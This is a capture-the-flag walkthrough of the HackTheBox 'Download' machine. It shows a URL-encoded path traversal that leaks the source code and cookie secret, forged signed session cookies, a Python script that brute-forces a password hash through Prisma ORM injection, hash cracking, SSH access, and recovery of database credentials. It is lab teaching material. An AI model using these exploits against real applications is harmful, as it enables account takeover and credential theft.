index-logo

Download - HTB

walkthrough by elswix

Machine: Download
Difficulty: Hard
Platform: HackTheBox
Release: Released on 08/05/2023


About Download


Download is a hard difficulty machine on HackTheBox. The machine features a web service that allows file uploads. While attempting to download the files, we discover a Local File Inclusion (LFI) vulnerability, providing us access to the source code.


Shell as wesley


Understanding how the website works behind the scenes, we discovered a potential security flaw that allowed us to extract passwords from other users in the database by manipulating our cookies. With access to the source code, we were able to obtain the secret key, enabling us to sign new cookies and exploit the vulnerability. Leveraging an ORM injection, we acquired credentials for the user wesley and gained access to the system through SSH.


Shell as root


As Wesley, we run pspy to examine processes and commands running on the system. We discover a cron job that reveals the presence of a .service file containing credentials for connecting to a PostgreSQL database. Additionally, the root user utilizes the su -l postgres command to switch to the postgres user. Given that we now have credentials to access the database, we can exploit the authentication process performed by the root user on postgres by modifying the .bash_profile file in the home directory of the postgres user. This modification allows us to execute commands as the postgres user.

The concept of running commands as postgres involves exploiting the TTY Pushback vulnerability, which, due to the authentication performed by the root user, enables us to execute commands in this manner.


Recon


To commence our analysis, we'll initiate a port scan to unveil the accessible ports on the target machine. It's crucial to bear in mind that a system's services are invariably accessible through these open ports.

elswix@kali$ nmap -p- --open --min-rate 10000 -n 10.10.11.226 -oN portScan

Nmap scan report for 10.10.11.226
Host is up (0.15s latency).
Not shown: 58913 closed tcp ports (conn-refused), 6620 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Once our initial scan wraps up, it's time to dig a bit deeper. We're going to run a comprehensive scan to figure out what kind of tech and services are going on behind those open ports we found.

elswix@kali$ nmap -sCV -p22,80 10.10.11.226 -oN fullScan

Nmap scan report for download.htb (10.10.11.226)
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
|   256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_  256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Download.htb - Share Files With Ease
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Upon initial inspection, it is evident that the system hosts both an HTTP Service on port 80 and an SSH Service on port 22.


Web Application


Prior to accessing the web service through our browser, I will execute the whatweb tool to gather insights into the technologies employed by the website:

elswix@kali$ whatweb -a 3 10.10.11.226
http://10.10.11.226 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.226], RedirectLocation[http://download.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://download.htb - no address for download.htb
Upon accessing the website via the IP address, an attempt is made to redirect us to the download.htb domain. However, an error is encountered during this redirection, primarily stemming from our machine's inability to resolve the domain. To rectify this, we must add the domain to our /etc/hosts file, ensuring it is correctly mapped to the IP address of the target machine.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.226 download.htb
Now, let's make another attempt to gather information about the site using the whatweb tool:

elswix@kali$ whatweb -a 3 10.10.11.226
http://10.10.11.226 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.226], RedirectLocation[http://download.htb], Title[301 Moved Permanently], nginx[1.18.0]
http://download.htb [200 OK] Bootstrap, Cookies[download_session,download_session.sig], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[download_session,download_session.sig], IP[10.10.11.226], Script, Title[Download.htb - Share Files With Ease], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
The domain is now resolving correctly, enabling access to the website.

Upon examination, it becomes apparent that the website is powered by Express.

Upon accessing the website via our web browser, the following content becomes visible:



Having grasped the website's functionality and objectives, it becomes evident that we possess the capability to both upload and download files, affording us the opportunity to store them on the server.

Despite the statement claiming that no registration is required, I will proceed to create an account by navigating to the /login section:



At this point, we can experiment with common credentials such as admin:admin, guest:guest, etc. However, none of them prove successful. Therefore, let's proceed by clicking on the Register Here option:



After completing the registration process, let's log in using the newly created credentials. Upon successful authentication, we will be presented with the following:



Before logging in, we had cookies similar to these:

download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=
download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E
In Express.js, session cookies are employed to store data on both the client and the server. The security of these cookies is ensured through a signature, known as session.sig, which prevents unauthorized tampering. The session-specific information is held in the session cookie, maintaining the user's state across various requests.

The mentioned signature is generated using a secret key (secret) specified in the code. This key is crucial for creating the signature stored in session.sig, providing an additional layer of security to session cookies.

Security relies on the fact that if an attacker attempts to modify the information in the session cookie, they would need to know the secret key (secret) to generate the signature (session.sig). Without that key, altering the session cookie becomes much more challenging and, in theory, nearly impossible without access to the key. This additional layer of security helps protect the integrity of session information and prevents unauthorized manipulations.

After logging in, new session cookies were assigned to us. Let's inspect them:

download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZWxzd2l4In19
download_session.sig=tETRYPJ_hHDpPfZyjQ3EVSVUY0o
As observed, after logging in, the cookie is now more extensive, likely containing additional information.

Since it appears to be in base64, we will proceed to decode the content (specifically from download_session as the signature does not contain readable information):

elswix@kali$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZWxzd2l4In19'  | base64 -d;echo
{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":16,"username":"elswix"}}
The cookie holds crucial information such as the username, a numerical identifier associated with the "id" field, and flash messages (temporary messages presented to the user in the content of the page).

To validate our discussions, I will create another user with a different username and attempt to impersonate them by modifying our cookie.

The cookies assigned to me after logging in with my new user are as follow

download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTcsInVzZXJuYW1lIjoidGVzdHVzZXIifX0=
download_session.sig=C1JKhM-0rV2aFU-9d01_4Pdf18s
Clearly different from those of the user elswix. If we decode their content, we will see the following:

{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":17,"username":"testuser"}}
I will modify the content of the cookie but will use the same signature:

{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":16,"username":"elswix"}}
We encode it in base64 and send the request:



Upon reviewing the response, we observe that we are redirected to the login page. This happens because the validation of the cookie has not been successful, indicating that we will need to log in again.

However, it is crucial to note that understanding the workings of cookies in this manner is essential. In the event of obtaining the secret key (secret), tools such as cookie-monster could be utilized to sign cookies and manipulate them to our advantage.

Currently, we do not have any uploaded files, so let's proceed to attempt an upload. Let's navigate to the /upload section:



Let's try uploading an example file:



It appears that the file was successfully uploaded:



The file has been uploaded with additional information such as the upload date, the user responsible for the upload, and whether it is set as private or not.

Upon clicking Copy Link, it copies a URL:



Files are being displayed using file IDs, and the URL structure is as follows:

http://download.htb/files/view/{file_id}
Upon clicking Download, the file we uploaded is downloaded:



Let's examine the requests being made with Burp Suite. Here is the download request:



It's requesting /files/download/{file_id}, which might be potentially vulnerable to LFI. Let's try some tricks:



I attempted to load the /etc/passwd file, but it proved unsuccessful.

When experimenting with some tricky payloads like:

http://download.htb/files/download/../test
It returns a 200 status code, but in the response, the web content indicates a 404 Not Found:



When URL encoding the slash, it returns a different response:

http://download.htb/files/download/..%2ftest


This suggests a potential Local File Inclusion (LFI) vulnerability that could be exploited.

Let's attempt to discover the directory where our uploaded files are being stored. I have tried some common names such as upload, uploads, and files. The one that proved successful was uploads:

http://download.htb/files/download/files/download/..%2fuploads%2f4ee5b1e0-a2a9-40c9-9a86-16e6bbb83459


Recalling that the website is built with Express, let's attempt to list the content of the package.json file.

The package.json file is a standard file in a Node project, serving as a blueprint for an application. It provides information on how to interact with the application and outlines its dependencies. In this case, the file likely starts by specifying that the main functionality is in app.js.

elswix@kali$ curl -s 'http://download.htb/files/download/..%2fpackage.json'
{
  "name": "download.htb",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "nodemon --exec ts-node --files ./src/app.ts",
    "build": "tsc"
  },
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
  "devDependencies": {
    "@types/cookie-parser": "^1.4.3",
    "@types/cookie-session": "^2.0.44",
    "@types/express": "^4.17.17",
    "@types/express-fileupload": "^1.4.1",
    "@types/node": "^18.15.12",
    "@types/nunjucks": "^3.2.2",
    "nodemon": "^2.0.22",
    "nunjucks": "^3.2.4",
    "prisma": "^4.13.0",
    "ts-node": "^10.9.1",
    "typescript": "^5.0.4"
  }
}
It reveals an author named WESLEY, which could potentially be a system username. This is a valuable piece of information to keep in mind. Additionally, the main script of the website is disclosed as app.js.

Let's attempt to list the content of app.js:

elswix@kali$ curl -s 'http://download.htb/files/download/..%2fapp.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});
This appears to be the source code of the website and the main script. As it corresponds to the main file of the website, it reveals additional routes to other scripts and files.

Notably, we can highlight the presence of the secret used to sign cookies. This could be valuable for discovering new users.

It's worth mentioning that the website utilizes Prisma Client.

Prisma Client is a database access tool used with the Object-Relational Mapping (ORM) Prisma. Prisma Client simplifies database queries by providing a programming interface in the programming language you are using (e.g., JavaScript or TypeScript).

An ORM simplifies data manipulation in a relational database by allowing developers to work with objects and classes in their code, abstracting the complexity of SQL queries and simplifying database operations. This makes application development easier by providing a layer of abstraction between the code and the underlying database.

Understanding this concept could be beneficial for manipulating cookies, given that we have the secret key.


Cookie-monster


With the tool cookie-monster, we can generate and sign new cookies with the desired information.

The usage of this tool involves playing with parameters such as -e, -k, -f, and -n.

Firstly, we need to save our cookie in JSON format in a JSON file:

elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"elswix"}}
Given that we don't know any usernames, I will only modify the ID number to 1:

elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":1,"username":"elswix"}}
Now I will sign it using cookie-monster:

elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MSwidXNlcm5hbWUiOiJlbHN3aXgifX0=
[+] Signature Cookie: download_session.sig=iYBGt7aCtH-Hfmu5gBv4vQxfcbY
It appears to be working correctly. Let's replace our old cookies with the new ones:



When reloading the page, it says No files found, and it didn't redirect us to the /login section. I believe the new cookies are functioning properly. However, to access the files associated with the id 1, we may need to know the corresponding username.

I'm considering removing our username from the cookie and leaving it only with the id number:

elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":1}}
After that, I signed the new cookie with cookie-monster:

elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MX19
[+] Signature Cookie: download_session.sig=L-CbUTci83X7NoHNhIVqKhBCSDg
Upon replacing the new cookies, it returned different content in the response:



Now I'm seeing files from another user called WESLEY, indicating a successful impersonation of his account.

Let's observe what happens if we leave the id field empty:

elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":{}}}
Now, let's sign the cookie using cookie-monster:

elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6e319fQ==
[+] Signature Cookie: download_session.sig=ogGsbzlrwcNYnAVlB7V5BRsm43U
Upon replacing the cookies, it returned a substantial amount of content:



There are numerous new users, but currently, we can't perform any actions with them.

Considering that the website uses Prisma Client to interact with the database, I began contemplating the possibility of ORM injection in the cookie.

In the context of ORM, queries are typically constructed using methods and functions provided by the ORM library. However, if the application fails to adequately validate or filter user-supplied data before using it in these queries, we might manipulate parameters to execute undesired queries or even perform harmful actions in the database.

After reading some Prisma documentation, I found some functions we can use to extract data from the database.

While the primary purpose of these functions is not data extraction, several of them can be utilized to our advantage to obtain information from the database.

Among the various functions available, I stumbled upon one that seemed interesting to experiment with. This function or method is startsWith, which, during the execution of the SQL query, validates the character passed as an argument and compares it.

To illustrate better, I will create a sample query and explain it:

SELECT age FROM users WHERE username=startsWith('A')
This query is selecting data stored in the age column of the users table and is filtering exclusively for strings that start with the character A in the username column.

In other words, it is selecting the ages of all usernames that start with the letter A. At the SQL level, this may not work, but the startsWith function, being included in Prisma, automates the process of searching for string matches that begin with the character A.

If we can modify the cookie and apply the invocation of these methods, we could attempt to gather information about users through a brute-force attack.

To illustrate, we will conduct a test to try accessing files uploaded by all users whose usernames begin with the character a.

Next, we will prepare the cookie we will sign:

elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":{"startsWith":"A"}}}
As you can see, I removed the ID field and kept the username field. I also added the invocation of the startsWith method with the parameter A. If everything works as expected, we should see all files uploaded on the website by users whose usernames start with the A character.

Now, let's sign the cookie:

elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJ1c2VybmFtZSI6eyJzdGFydHNXaXRoIjoiQSJ9fX0=
[+] Signature Cookie: download_session.sig=bI89MIMG1P226_VRwmajlBlSroA
For this attempt, I will use cURL to filter by the string uploaded by:

elswix@kali$ curl -s 'http://download.htb/home/' -H "Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJ1c2VybmFtZSI6eyJzdGFydHNXaXRoIjoiQSJ9fX0=; download_session.sig=bI89MIMG1P226_VRwmajlBlSroA" | grep 'uploaded by' -i
        <strong>Uploaded By: </strong>AyufmApogee<br />
        <strong>Uploaded By: </strong>AyufmApogee<br />
        <strong>Uploaded By: </strong>Apoplectic<br />
        <strong>Uploaded By: </strong>Apoplectic<br />
        <strong>Uploaded By: </strong>Antilogism<br />
        <strong>Uploaded By: </strong>Apoplectic<br />
It is working perfectly, the startsWith method is functioning as expected. We are now able to see files uploaded by users whose usernames start with the A character.

After this success, I thought about attempting to retrieve data by entering the password field. Perhaps, I could extract a password using a brute-force approach.

As we've observed, the user WESLEY was the author mentioned in the package.json file. It might be a good idea to try extracting his password.

After inspecting the auth.js file (whose path was revealed in app.js), I noticed that passwords are stored in MD5:

elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const zod_1 = __importDefault(require("zod"));
const node_crypto_1 = __importDefault(require("node:crypto"));
const router = express_1.default.Router();
const client = new client_1.PrismaClient();
const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
const LoginValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.get("/login", (req, res) => {
    res.render("login.njk");
});
router.post("/login", async (req, res) => {
    const result = LoginValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your login details were invalid, please try again.");
        return res.redirect("/auth/login");
    }
    const data = result.data;
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });
    if (!user) {
        res.flash("error", "That username / password combination did not exist.");
        return res.redirect("/auth/register");
    }
    req.session.user = {
        id: user.id,
        username: user.username,
    };
    res.flash("success", "You are now logged in.");
    return res.redirect("/home/");
});
router.get("/register", (req, res) => {
    res.render("register.njk");
});
const RegisterValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.post("/register", async (req, res) => {
    const result = RegisterValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your registration details were invalid, please try again.");
        return res.redirect("/auth/register");
    }
    const data = result.data;
    const existingUser = await client.user.findFirst({
        where: { username: data.username },
    });
    if (existingUser) {
        res.flash("error", "There is already a user with that email address or username.");
        return res.redirect("/auth/register");
    }
    await client.user.create({
        data: {
            username: data.username,
            password: hashPassword(data.password),
        },
    });
    res.flash("success", "Your account has been registered.");
    return res.redirect("/auth/login");
});
router.get("/logout", (req, res) => {
    if (req.session)
        req.session.user = null;
    res.flash("success", "You have been successfully logged out.");
    return res.redirect("/auth/login");
});
exports.default = router;
We can confirm this by examining what happens during the registration of a new user:

elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js' | grep 'client.user.create' -A 5
    await client.user.create({
        data: {
            username: data.username,
            password: hashPassword(data.password),
        },
    });
When storing the password in the database, it invokes the hashPassword function, which converts the string parameters to MD5:

elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js' | grep 'const hashPassword' -A 2
const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
We need to keep in mind this information because, when extracting the password, we will obtain a string that is 32 characters long, consisting of characters from a to f in the alphabet and digits from 0 to 9.

Before attempting this with the WESLEY user, we need to confirm that this approach works. Therefore, I will first extract my user password.

I entered elswix123 as my user password. When converted to MD5, it will be 11d9322277be7d00e624bc2c59276f4c.

The cookie will be as follows:

{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":"elswix","password":{"startsWith":"%s"}}}
%s will be replaced with the characters during the Python script.

Here is the automation script:

#!/usr/bin/python3 

from pwn import * 
import requests
import pdb 
import json 
import string 
import subprocess

# Global
home_url = "http://download.htb/home/"
characters = string.digits + "abcdef"

def createMaliciousCookie(char):

    malicious_cookie = '{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":"elswix", "password":{"startsWith":"%s"}}}' % char

    with open("temp.tmp", "w") as f:
        f.write(malicious_cookie)

    output = subprocess.check_output("/home/elswix/.yarn/bin/cookie-monster -e -f temp.tmp --secret \"8929874489719802418902487651347865819634518936754\" -n download_session", shell=True, text=True)
    session = output.split("download_session=")[1].split(" ")[0].split("\x1b")[0] 
    signature = output.split("download_session.sig=")[1].split("\x1b")[0]

    cookie = {
        "download_session":"%s" % session,
        "download_session.sig":"%s" % signature
    }

    return cookie 



def makeReq(maliciousCookie):

    resp = requests.get(home_url, cookies=maliciousCookie)
    return resp 


def main():

    password = ""
    p = log.progress("PASSWORD")

    for i in range(1, 33):
        for char in characters:
            test_password = password + char  
            maliciousCookie = createMaliciousCookie(test_password)
            resp = makeReq(maliciousCookie)

            if "No files found" not in resp.text:
                password += char
                p.status(password)
                break
            subprocess.run("/bin/rm temp.tmp", shell=True)






if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Stopping...\n")
        sys.exit(1)
Remember to replace your cookie-monster binary path and the username in the cookie. Let's run the script (this may take a while):

elswix@kali$ python3 exploit.py
[<] PASSWORD: 11d9322277be7d00e624bc2c59276f4c
It works great! We are successfully extracting passwords from the database. Now, let's change our username in the Python script to WESLEY and execute the script.

After a while, we obtained the password in MD5 format:

elswix@kali$ python3 exploit.py
[] PASSWORD: f88976c10af66915918945b9679b2bd3
Let's try to crack it using John the Ripper:

elswix@kali$ john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status

dunkindonuts     (?)     

1g 0:00:00:00 DONE (2023-11-20 19:34) 20.00g/s 3002Kp/s 3002Kc/s 3002KC/s east11..dextor
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
The password is dunkindonuts. Let's try using it to authenticate through SSH as the user WESLEY:

elswix@kali$ ssh wesley@10.10.11.226
wesley@10.10.11.226's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 20 Nov 2023 10:35:56 PM UTC

  System load:           0.82
  Usage of /:            58.8% of 5.81GB
  Memory usage:          56%
  Swap usage:            0%
  Processes:             635
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.226
  IPv6 address for eth0: dead:beef::250:56ff:feb9:6d40


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Aug  3 08:29:52 2023 from 10.10.14.23
wesley@download:~$
We have successfully accessed the system as the user wesley.

As wesley, we can read the first flag:

wesley@download:~$ cat user.txt 
23195**********************85bcf
wesley@download:~$
Looking at the groups to which the user 'WESLEY' belongs, I observed that it doesn't belong to any particularly interesting group:

wesley@download:~$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
wesley@download:~$
Upon listing its sudo privileges, I noticed that it doesn't have any sudo privileges:

wesley@download:~$ sudo -l
[sudo] password for wesley: 
Sorry, user wesley may not run sudo on download.
wesley@download:~$
Nor are there any interesting capabilities that we could abuse:

wesley@download:~$ getcap -r / 2>/dev/null 
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
wesley@download:~$
Let's take a look at the Set-UID files. For this, I will use the find command:

wesley@download:~$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/su
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/at
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
wesley@download:~$
There are no interesting files that we could abuse, so at this point, we can't do anything to escalate privileges.

Next, I will upload pspy to the victim machine to inspect processes and commands running on the system.

pspy is a command-line tool used to monitor processes and commands on Linux systems. It provides real-time visualization of system activities, including command execution and changes in processes, which can be useful for detecting suspicious activities or analyzing system behavior.

This tool could be helpful in detecting suspicious activities carried out by other users.

I downloaded the pspy64 release version and uploaded it to the victim machine:

wesley@download:~$ chmod +x ./pspy
wesley@download:~$ ./pspy
Analyzing the pspy output, I observed some SSH connections to the root user:



Here are the interesting observations:



The root user is checking the status of the postgresql service and the download-site service. The download-site service appears to be a custom service on the machine, which could be interesting to inspect.

The root user is also migrating to the postgres user using su and the -l parameter. Checking the su manual for information about the -l parameter, I found the following:



The -l parameter is used to simulate a full login. When you use su -l or su --login, you are not just switching the user identity; you are also initializing the environment as if the new user had logged in directly.

This means that the user's login shell, environment variables, and working directory are set according to the target user's profile. It is particularly useful when you want to execute commands or start a shell session with the environment of another user, as if you had logged in as that user.

How can we exploit this?

Using the -l parameter also loads environment configurations, such as .bashrc and .bash_profile files, from the home directory. If we can modify these files for the Postgres user, we might be able to execute commands as that user by making changes to these files.

In other words, the -l parameter in the su command is crucial because it not only switches the user identity but also initializes the environment as if the specified user had logged in directly. This includes loading configuration files such as .bashrc and .bash_profile from the user's home directory.

In the context of the Postgres user, if we have the ability to modify the .bashrc or .bash_profile files associated with the Postgres user, we gain the potential to influence the environment settings for that user. By strategically altering these files, we may be able to execute commands with the permissions and configurations of the Postgres user, effectively manipulating its behavior and privileges on the system.

At this point, we are not able to modify or create these files. However, in the event that we gain access to a PostgreSQL database, attempting to modify these files could serve as a trick to escalate privileges.

Recalling the other commands that the root user was executing, one of them was systemctl status download-site. Since this is an unusual service, it is interesting to list its content. Therefore, let's first locate it in the filesystem:

wesley@download:~/privesc$ find / -name "download-site.service" 2>/dev/null
/etc/systemd/system/download-site.service
/etc/systemd/system/multi-user.target.wants/download-site.service
/sys/fs/cgroup/devices/system.slice/download-site.service
/sys/fs/cgroup/memory/system.slice/download-site.service
/sys/fs/cgroup/pids/system.slice/download-site.service
/sys/fs/cgroup/systemd/system.slice/download-site.service
/sys/fs/cgroup/unified/system.slice/download-site.service
wesley@download:~/privesc$
Upon inspecting its content, we found some PostgreSQL credentials:

wesley@download:~/privesc$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

[Install]
WantedBy=multi-user.target
wesley@download:~/privesc$
Let's try to log in to the download database:

wesley@download:~/privesc$ psql -U 'download' -h 127.0.0.1 -d download
Password for user download: 
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=>
First, let's attempt to write the .bash_profile file in the Postgres home directory (/var/lib/postgresql/).

